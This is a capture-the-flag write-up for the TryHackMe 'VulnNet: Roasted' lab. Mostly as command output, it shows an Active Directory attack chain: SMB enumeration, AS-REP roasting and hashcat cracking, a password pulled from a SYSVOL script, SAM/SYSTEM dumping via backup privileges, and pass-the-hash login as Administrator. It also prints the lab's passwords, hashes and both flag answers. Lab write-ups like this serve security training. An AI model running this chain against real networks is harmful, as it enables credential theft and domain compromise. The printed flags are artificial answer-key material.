VulnNet: Roasted – TryHackMe

Objective: capture two flags — **user.txt** and **system.txt**.

Contents

1.Reconnaissance

First we check whether the host is up.

```
root@ip-10-10-182-114:~# ping 10.10.107.131
PING 10.10.107.131 (10.10.107.131) 56(84) bytes of data.
64 bytes from 10.10.107.131: icmp_seq=1 ttl=128 time=0.984 ms
64 bytes from 10.10.107.131: icmp_seq=2 ttl=128 time=0.464 ms
^C
--- 10.10.107.131 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 0.464/0.724/0.984/0.260 ms
```

The host responds, so we run **nmap** to scan ports and enumerate service details.

```
root@ip-10-10-182-114:~# nmap -sV -sC 10.10.107.131
Starting Nmap 7.80 ( https://nmap.org )
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or sp
ecify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled.
 Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.107.131
Host is up (0.00032s latency).
Not shown: 989 filtered ports
PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
| fingerprint-strings:
|   DNSVersionBindReqTCP:
|     version
|_    bind
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-09-18
 09:35:37Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vu
lnnet-rst.local0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
```

```
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: vu
lnnet-rst.local0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
1 service unrecognized despite returning data. If you know the service/version,
please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?n
ew-service :
SF-Port53-TCP:V=7.80%I=7%D=9/18%Time=68CBD26E%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
MAC Address: 02:76:FC:B5:ED:61 (Unknown)
Service Info: Host: WIN-2BO8M1OE1M1; OS: Windows; CPE: cpe:/o:microsoft:windows
```

2.SMB

An **SMB** service is available. We check which shares are accessible as **guest** using the nxc tool.

```
root@ip-10-10-182-114:~# nxc smb 10.10.107.131 -u 'guest' -p '' --shares
SMB         10.10.107.131   445    WIN-2BO8M1OE1M1  [*] Windows 10 / Server 2019 Build 17763 x64 (name:
WIN-2BO8M1OE1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:False)
SMB         10.10.107.131   445    WIN-2BO8M1OE1M1  [+] vulnnet-rst.local\guest:
SMB         10.10.107.131   445    WIN-2BO8M1OE1M1  [*] Enumerated shares
SMB         10.10.107.131   445    WIN-2BO8M1OE1M1  Share           Permissions     Remark
SMB         10.10.107.131   445    WIN-2BO8M1OE1M1  -----           -----------     ------
SMB         10.10.107.131   445    WIN-2BO8M1OE1M1  ADMIN$                          Remote Admin
SMB         10.10.107.131   445    WIN-2BO8M1OE1M1  C$                             Default share
SMB         10.10.107.131   445    WIN-2BO8M1OE1M1  IPC$            READ            Remote IPC
SMB         10.10.107.131   445    WIN-2BO8M1OE1M1  NETLOGON                       Logon server share
SMB         10.10.107.131   445    WIN-2BO8M1OE1M1  SYSVOL                         Logon server share
SMB         10.10.107.131   445    WIN-2BO8M1OE1M1  VulnNet-Business-Anonymous READ           VulnNet
Business Sharing
SMB         10.10.107.131   445    WIN-2BO8M1OE1M1  VulnNet-Enterprise-Anonymous READ           VulnNe
t Enterprise Sharing
```

I downloaded text files from the accessible shares, but they contained nothing interesting.

```
root@ip-10-10-182-114:~# smbclient \\\\10.10.107.131\\VulnNet-Enterprise-Anonymous -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Mar 13 02:46:40 2021
  ..                                  D        0  Sat Mar 13 02:46:40 2021
  Enterprise-Operations.txt           A      467  Fri Mar 12 01:24:34 2021
  Enterprise-Safety.txt               A      503  Fri Mar 12 01:24:34 2021
  Enterprise-Sync.txt                 A      496  Fri Mar 12 01:24:34 2021

                8771839 blocks of size 4096. 4516201 blocks available
smb: \> get Enterprise-Operations.txt
getting file \Enterprise-Operations.txt of size 467 as Enterprise-Operations.txt (11.1 KiloBytes/sec) (
average 11.1 KiloBytes/sec)
smb: \> get Enterprise-Safety.txt
getting file \Enterprise-Safety.txt of size 503 as Enterprise-Safety.txt (18.9 KiloBytes/sec) (average
14.1 KiloBytes/sec)
smb: \> get Enterprise-Sync.txt
getting file \Enterprise-Sync.txt of size 496 as Enterprise-Sync.txt (19.4 KiloBytes/sec) (average 15.6
 KiloBytes/sec)
```

```
root@ip-10-10-182-114:~# smbclient \\\\10.10.107.131\\VulnNet-Business-Anonymous -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Mar 13 02:46:40 2021
  ..                                  D        0  Sat Mar 13 02:46:40 2021
  Business-Manager.txt                A      758  Fri Mar 12 01:24:34 2021
  Business-Sections.txt               A      654  Fri Mar 12 01:24:34 2021
  Business-Tracking.txt               A      471  Fri Mar 12 01:24:34 2021

                8771839 blocks of size 4096. 4514665 blocks available
smb: \> get Business-Manager.txt
getting file \Business-Manager.txt of size 758 as Business-Manager.txt (2.6 KiloBytes/sec) (average 2.6
 KiloBytes/sec)
smb: \> get Business-Sections.txt
getting file \Business-Sections.txt of size 654 as Business-Sections.txt (11.6 KiloBytes/sec) (average
4.0 KiloBytes/sec)
smb: \> get Business-Tracking.txt
getting file \Business-Tracking.txt of size 471 as Business-Tracking.txt (27.1 KiloBytes/sec) (average
5.1 KiloBytes/sec)
```

Next I enumerated more details with **enum4linux-ng**.

```
root@ip-10-10-182-114:~# enum4linux-ng -A 10.10.107.131
ENUM4LINUX - next generation (v1.3.4)

 ==========================
|    Target Information    |
 ==========================
[*] Target ........... 10.10.107.131
[*] Username ......... ''
[*] Random Username .. 'aztggukz'
[*] Password ......... ''
[*] Timeout .......... 5 second(s)

 ============================================================
|    Domain Information via SMB session for 10.10.107.131    |
 ============================================================
[*] Enumerating via unauthenticated SMB session on 445/tcp
[+] Found domain information via SMB
NetBIOS computer name: WIN-2BO8M1OE1M1
NetBIOS domain name: VULNNET-RST
DNS domain: vulnnet-rst.local
FQDN: WIN-2BO8M1OE1M1.vulnnet-rst.local
Derived membership: domain member
Derived domain: VULNNET-RST
```

That revealed NetBIOS domain name and DNS domain.

The machine rebooted here and its IP changed — we continued after adjusting to the new IP.

I then created a list of users (via nxc) and saved them to a txt file.

```
root@ip-10-10-182-114:~# nxc smb 10.10.144.188 -u guest -p "" --rid-brute | cut -d '\' -f 2 | sed 's/ *
(.*)//' | sort -u | tee usernames.txt
Administrator
Allowed RODC Password Replication Group
a-whitehat
Cert Publishers
Cloneable Domain Controllers
Denied RODC Password Replication Group
DnsAdmins
DnsUpdateProxy
Domain Admins
Domain Computers
Domain Controllers
Domain Guests
Domain Users
Enterprise Admins
enterprise-core-vn
Enterprise Key Admins
Enterprise Read-only Domain Controllers
Group Policy Creator Owners
guest:
Guest
j-goldenhand
j-leet
Key Admins
krbtgt
Protected Users
RAS and IAS Servers
Read-only Domain Controllers
Schema Admins
SMB                     10.10.144.188   445    WIN-2BO8M1OE1M1  [*] Windows 10 / Server 2019 Build 177
63 x64
t-skid
WIN-2BO8M1OE1M1$
```

3.Hash harvesting

I used **GetNPUsers.py** (Impacket) to check whether any users are AS-REP / NTLM-exposable and got a hit for user **skid**.

```
root@ip-10-10-182-114:/opt/impacket/examples# python3 GetNPUsers.py vulnnet-rst.local/ -dc-ip 10.10.144.188 -
usersfile '/root/usernames.txt' -format hashcat
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User a-whitehat doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:047bab25f1bd2e1a56f037bdfb38a44c$0c43122da07fad47a3122aeffdfe82657a2fb
d75b9f2b9351d84e01f9d1a98af15d45c77ec017edaee970b43b9e347bbc93689be3d4102b0a6866a347647a704911fd44d935d765242
8319c4b5b7cca1d315507ac9ae3ec8ae6fd41b86a868d347e5ca5d61d7a38aaede74aafa4205537d7b38d8d67ddc45906d8fa97496c5c
1b86b9794a927a83a7d1da6e7f304f989d32a39adfc8cc1da29a8f9341e5aa994e341ac0d4df831957dcb32c23cc7cd4854e5dd1294eb
7fd5eb6d0e762a2a4f9a569bfac470bfe717ae8957d99dd802a64bd4d9489d9be59683b189bb2c3d8898260f5c913eb981acd0bfab854
d4de51e8a294735669a
```

I saved the returned hash to a file and cracked it with **hashcat**.

```
root@ip-10-10-182-114:~# hashcat -m 18200 hash.txt '/root/Desktop/Tools/wordlists/rockyou.txt'
hashcat (v6.1.1-66-g6a419d06) starting...
```

We recovered a plaintext password.

```
$krb5asrep$23$t-skid@VULNNET-RST.LOCAL:047bab25f1bd2e1a56f037bdfb38a44c$0c43122da07fad47a3122aeffdfe82657a2fb
d75b9f2b9351d84e01f9d1a98af15d45c77ec017edaee970b43b9e347bbc93689be3d4102b0a6866a347647a704911fd44d935d765242
8319c4b5b7cca1d315507ac9ae3ec8ae6fd41b86a868d347e5ca5d61d7a38aaede74aafa4205537d7b38d8d67ddc45906d8fa97496c5c
1b86b9794a927a83a7d1da6e7f304f989d32a39adfc8cc1da29a8f9341e5aa994e341ac0d4df831957dcb32c23cc7cd4854e5dd1294eb
7fd5eb6d0e762a2a4f9a569bfac470bfe717ae8957d99dd802a64bd4d9489d9be59683b189bb2c3d8898260f5c913eb981acd0bfab854
d4de51e8a294735669a:tj072889*

Session..........: hashcat
Status...........: Cracked
Hash.Name........: Kerberos 5, etype 23, AS-REP
Hash.Target......: $krb5asrep$23$t-skid@VULNNET-RST.LOCAL:047bab25f1bd...35669a
```

4.a-whitehat (user access)

Using the credentials for **skid**, I checked accessible SMB resources.

```
root@ip-10-10-182-114:~# nxc smb 10.10.144.188 -u 't-skid' -p 'tj072889*' --shares
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-2B
O8M1OE1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:False)
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  [+] vulnnet-rst.local\t-skid:tj072889*
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  [*] Enumerated shares
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  Share           Permissions     Remark
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  -----           -----------     ------
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  ADMIN$                          Remote Admin
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  C$                             Default share
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  IPC$            READ            Remote IPC
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  NETLOGON        READ            Logon server share
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  SYSVOL          READ            Logon server share
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  VulnNet-Business-Anonymous READ            VulnNet Busine
ss Sharing
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  VulnNet-Enterprise-Anonymous READ            VulnNet Ente
rprise Sharing
```

Under the SYSVOL share I found ResetPassword.vbs and downloaded it.

```
root@ip-10-10-182-114:~# smbclient \\\\10.10.144.188\\SYSVOL -U t-skid%tj072889*
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Mar 11 19:19:49 2021
  ..                                  D        0  Thu Mar 11 19:19:49 2021
  vulnnet-rst.local                  Dr        0  Thu Mar 11 19:19:49 2021

                8771839 blocks of size 4096. 4526846 blocks available
smb: \> cd vulnnet-rst.local
smb: \vulnnet-rst.local\> ls
  .                                   D        0  Thu Mar 11 19:23:40 2021
  ..                                  D        0  Thu Mar 11 19:23:40 2021
  DfsrPrivate                      DHSr        0  Thu Mar 11 19:23:40 2021
  Policies                            D        0  Thu Mar 11 19:20:26 2021
  scripts                             D        0  Tue Mar 16 23:15:49 2021

                8771839 blocks of size 4096. 4526846 blocks available
smb: \vulnnet-rst.local\> cd scripts
smb: \vulnnet-rst.local\scripts\> ls
  .                                   D        0  Tue Mar 16 23:15:49 2021
  ..                                  D        0  Tue Mar 16 23:15:49 2021
  ResetPassword.vbs                   A     2821  Tue Mar 16 23:18:14 2021

                8771839 blocks of size 4096. 4526846 blocks available
smb: \vulnnet-rst.local\scripts\> get ResetPassword.vbs
getting file \vulnnet-rst.local\scripts\ResetPassword.vbs of size 2821 as ResetPassword.vbs (12.6 KiloBytes/s
ec) (average 12.6 KiloBytes/sec)
```

Inside that script there was a password for user **a-whitehat**.

ResetPassword.vbs

```
Option Explicit

Dim objRootDSE, strDNSDomain, objTrans, strNetBIOSDomain
Dim strUserDN, objUser, strPassword, strUserNTName

' Constants for the NameTranslate object.
Const ADS_NAME_INITTYPE_GC = 3
Const ADS_NAME_TYPE_NT4 = 3
Const ADS_NAME_TYPE_1779 = 1

If (Wscript.Arguments.Count <> 0) Then
    Wscript.Echo "Syntax Error. Correct syntax is:"
    Wscript.Echo "cscript ResetPassword.vbs"
    Wscript.Quit
End If

strUserNTName = "a-whitehat"
strPassword = "bNdKVkjv3RR9ht"

' Determine DNS domain name from RootDSE object.
```

Testing access as a-whitehat showed it has elevated permissions and can write files to SMB shares.

```
root@ip-10-10-182-114:~# nxc smb 10.10.144.188 -u 'a-whitehat' -p 'bNdKVkjv3RR9ht' --shares
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  [*] Windows 10 / Server 2019 Build 17763 x64 (name:WIN-2B
O8M1OE1M1) (domain:vulnnet-rst.local) (signing:True) (SMBv1:False)
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  [+] vulnnet-rst.local\a-whitehat:bNdKVkjv3RR9ht (Pwn3d!)
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  [*] Enumerated shares
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  Share           Permissions     Remark
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  -----           -----------     ------
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  ADMIN$          READ,WRITE      Remote Admin
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  C$              READ,WRITE      Default share
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  IPC$            READ            Remote IPC
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  NETLOGON        READ,WRITE      Logon server share
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  SYSVOL          READ,WRITE      Logon server share
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  VulnNet-Business-Anonymous READ            VulnNet Busine
ss Sharing
SMB         10.10.144.188   445    WIN-2BO8M1OE1M1  VulnNet-Enterprise-Anonymous READ           VulnNet Ente
rprise Sharing
```

5.Privilege escalation

With the obtained credentials I connected to the box via **evil-winrm**.

```
root@ip-10-10-182-114:~# evil-winrm -i 10.10.144.188 -u 'a-whitehat' -p 'bNdKVkjv3RR9ht'

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc
' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-co
mpletion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\a-whitehat\Documents> whoami
vulnnet-rst\a-whitehat
*Evil-WinRM* PS C:\Users\a-whitehat\Documents>
```

I checked privileges (whoami /priv) and saw **SeBackupPrivilege** and **SeRestorePrivilege**, allowing us to export the SAM and SYSTEM blobs.

```
*Evil-WinRM* PS C:\users\a-whitehat\desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled
*Evil-WinRM* PS C:\users\a-whitehat\desktop> reg save HKLM\SAM C:\Users\Public\sam.save

The operation completed successfully.

*Evil-WinRM* PS C:\users\a-whitehat\desktop> reg save HKLM\SYSTEM C:\Users\Public\system.save

The operation completed successfully.
```

I transferred the dumps to my machine via SMB.

```
smb: \Users\> cd Public
smb: \Users\Public\> ls
  .                                   DR        0  Thu Sep 18 11:24:02 2025
  ..                                  DR        0  Thu Sep 18 11:24:02 2025
  AccountPictures                    DHR        0  Thu Mar 11 17:38:05 2021
  Desktop                            DHR        0  Sat Sep 15 08:19:03 2018
  desktop.ini                        AHS      174  Sat Sep 15 08:16:48 2018
  Documents                           DR        0  Fri Mar 12 00:24:45 2021
  Downloads                           DR        0  Sat Sep 15 08:19:03 2018
  Libraries                          DHR        0  Sat Sep 15 08:19:03 2018
  Music                               DR        0  Sat Sep 15 08:19:03 2018
  Pictures                            DR        0  Sat Sep 15 08:19:03 2018
  sam.save                             A    49152  Thu Sep 18 11:23:53 2025
  system.save                          A 16433152  Thu Sep 18 11:24:02 2025
  Videos                              DR        0  Sat Sep 15 08:19:03 2018

                8771839 blocks of size 4096. 4526615 blocks available
smb: \Users\Public\> get sam.save
getting file \Users\Public\sam.save of size 49152 as sam.save (1655.2 KiloBytes/sec) (average 1655.2 KiloBytes/sec)
smb: \Users\Public\> get system.save
getting file \Users\Public\system.save of size 16433152 as system.save (20469.4 KiloBytes/sec) (average 19798.3 KiloBytes/s
ec)
```

Using **secretsdump.py** I dumped the administrator NTLM hash.

```
root@ip-10-10-182-114:/opt/impacket/examples# python3 secretsdump.py -sam '/root/sam.save' -system '/root/system.save' LOCA
L
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[*] Target system bootKey: 0xf10a2788aef5f622149a41b2c745f49a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[-] SAM hashes extraction for user WDAGUtilityAccount failed. The account doesn't have hash information.
[*] Cleaning up...
```

I then logged in again (via evil-winrm) as **Administrator** using the cracked hash/credential.

```
root@ip-10-10-182-114:~# evil-winrm -i 10.10.144.188 -u Administrator -H c2597747aa5e43022a3a3049a3c3b09d

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module R
eline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
vulnnet-rst\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>
```

Finally, I read both flags (**user.txt** and **system.txt**).

```
*Evil-WinRM* PS C:\Users>
*Evil-WinRM* PS C:\Users> cd enterprise-core-vn
*Evil-WinRM* PS C:\Users\enterprise-core-vn> cd Desktop
*Evil-WinRM* PS C:\Users\enterprise-core-vn\Desktop> dir


    Directory: C:\Users\enterprise-core-vn\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         3/13/2021   3:43 PM             39 user.txt


*Evil-WinRM* PS C:\Users\enterprise-core-vn\Desktop> type user.txt
THM{726b7c0baaac1455d05c827b5561f4ed}
*Evil-WinRM* PS C:\Users\enterprise-core-vn\Desktop>
```

```
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd C:\Users\Administrator\Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir


    Directory: C:\Users\Administrator\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         3/13/2021   3:34 PM             39 system.txt


*Evil-WinRM* PS C:\Users\Administrator\Desktop> type system.txt
THM{16f45e3934293a57645f8d7bf71d8d4c}
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```

CTF: complete.

6.Summary

This box walks through SMB/domain enumeration to harvest credentials (GetNPUsers / AS-REP roasting), cracking the recovered hash, finding credentials in SYSVOL scripts, and escalating to SYSTEM by abusing backup/restore privileges to dump SAM/ SYSTEM (secretsdump), then using the admin hash to obtain the final flags. Key takeaways: enumerate SMB and domain data aggressively, check SYSVOL and configuration scripts for credentials, and always run whoami /priv / sudo -l (or Windows equivalent) to find dangerous privileges.